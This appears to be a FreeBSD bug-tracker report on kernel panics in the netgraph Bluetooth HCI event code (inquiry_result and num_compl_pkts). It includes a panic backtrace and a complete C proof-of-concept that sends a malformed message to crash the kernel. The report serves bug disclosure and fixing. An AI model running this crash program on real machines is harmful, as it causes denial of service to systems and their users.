Created attachment 237561 [details] trigger an m_copydata() panic in ng_hci_event.c If a netgraph data message arriving on a bluetooth hci drv hook is short, inquiry_result() can trigger a panic in m_copydata(): inquiry_result(ng_hci_unit_p unit, struct mbuf *event) { ng_hci_inquiry_result_ep *ep = NULL; ...; ep = mtod(event, ng_hci_inquiry_result_ep *); ...; for (; ep->num_responses > 0; ep->num_responses --) { m_copydata(event, 0, sizeof(bdaddr), (caddr_t) &bdaddr); And (as noted in a comment in the code) later in this function there are some more uses of the mbuf that are invalid if the message is too short. I've attached a demo: # cc ng13a.c -lnetgraph # ./a.out panic: m_copydata, length > size of mbuf chain cpuid = 2 time = 1666543254 KDB: stack backtrace: db_trace_self_wrapper() at db_trace_self_wrapper+0x2b/frame 0xfffffe0049bb6910 vpanic() at vpanic+0x151/frame 0xfffffe0049bb6960 panic() at panic+0x43/frame 0xfffffe0049bb69c0 m_copydata() at m_copydata+0x1ca/frame 0xfffffe0049bb6a40 ng_hci_process_event() at ng_hci_process_event+0x923/frame 0xfffffe0049bb6a90 ng_apply_item() at ng_apply_item+0x166/frame 0xfffffe0049bb6b20 ng_snd_item() at ng_snd_item+0x2e1/frame 0xfffffe0049bb6b60 ngd_send() at ngd_send+0x10b/frame 0xfffffe0049bb6be0 sosend_generic() at sosend_generic+0x61a/frame 0xfffffe0049bb6ca0 sosend() at sosend+0x49/frame 0xfffffe0049bb6cd0 kern_sendit() at kern_sendit+0x1b3/frame 0xfffffe0049bb6d60 sendit() at sendit+0xba/frame 0xfffffe0049bb6db0 sys_sendto() at sys_sendto+0x4d/frame 0xfffffe0049bb6e00 amd64_syscall() at amd64_syscall+0x12e/frame 0xfffffe0049bb6f30 fast_syscall_common() at fast_syscall_common+0xf8/frame 0xfffffe0049bb6f30 --- syscall (133, FreeBSD ELF64, sys_sendto), rip = 0x8229075ca, rsp = 0x820a21068, rbp = 0x820a210d0 --- FreeBSD stock14 14.0-CURRENT FreeBSD 14.0-CURRENT #3 main-n258027-c9baa974717a: Thu Sep 15 20:02:51 AST 2022 root@stock14:/usr/obj/usr/src/amd64.amd64/sys/GENERIC amd64
The m_copydata() calls in num_compl_pkts() in ng_hci_evnt.c can also panic. Here's a demo program: #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <netinet/in.h> #include <sys/wait.h> #include <sys/resource.h> #include <arpa/inet.h> #include <assert.h> #include <ctype.h> #include <fcntl.h> #include <signal.h> #include <netgraph/ng_message.h> #include <netgraph/ng_socket.h> #include <netgraph.h> int main(){ setlinebuf(stdout); struct rlimit r; r.rlim_cur = r.rlim_max = 0; setrlimit(RLIMIT_CORE, &r); signal(SIGPIPE, SIG_IGN); system("kldload netgraph"); system("kldload ng_hci"); int cs = -1; int ds = -1; NgMkSockNode(NULL, &cs, &ds); struct ngm_mkpeer mkp; memset(&mkp, 0, sizeof(mkp)); strcpy(mkp.type, "hci"); strcpy(mkp.ourhook, "hook"); strcpy(mkp.peerhook, "drv"); if (NgSendMsg(cs, ".:", NGM_GENERIC_COOKIE, NGM_MKPEER, &mkp, sizeof(mkp)) < 0) { fprintf(stderr, "netgraph mkpeer %s %s failed\n", mkp.type, mkp.peerhook); } char buf[128]; memset(buf, 0xff, sizeof(buf)); *(long long *)(buf + 0) ^= 0xecfb; NgSendData(ds, "hook", (unsigned char *)buf, 116); }